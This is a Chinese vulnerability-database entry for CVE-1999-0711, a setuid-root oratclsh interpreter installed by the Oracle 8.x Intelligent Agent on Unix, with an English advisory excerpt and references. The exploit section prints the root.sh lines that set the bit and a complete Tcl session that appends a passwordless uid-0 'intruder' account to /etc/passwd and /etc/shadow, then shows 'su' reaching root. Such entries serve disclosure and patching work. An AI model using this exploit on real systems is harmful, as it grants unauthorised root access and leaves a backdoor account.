Unix Oracle 8.x Intelligent Agent oratclsh interpreter权限许可和访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105440 漏洞类型 未知
发布时间 1999-04-29 更新时间 2006-02-20
CVE编号 CVE-1999-0711 CNNVD-ID CNNVD-199904-038
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/19125
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199904-038
|漏洞详情
Unix下Oracle8.xIntelligentAgent的oratclshinterpreter存在漏洞。本地用户可以使用根权限执行Tcl命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/159/info

Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.

The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.

The offending core in "root.sh":

# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh 
/bin/chmod u+s /oracle/bin/oratclsh

./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit

$ su - intruder
$ id
uid=0(root) gid=1(other)
|参考资料

来源:BUGTRAQ
名称:19990430*Huge*securityholeinOracle8.0.5withIntellegentagentinstalled
链接:http://marc.theaimsgroup.com/?t=92550157100002&w=2&r=1
来源:BUGTRAQ
名称:19990506OracleSecurityFollowup,patchandFAQ:setuidonoratclsh
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=92609807906778&w=2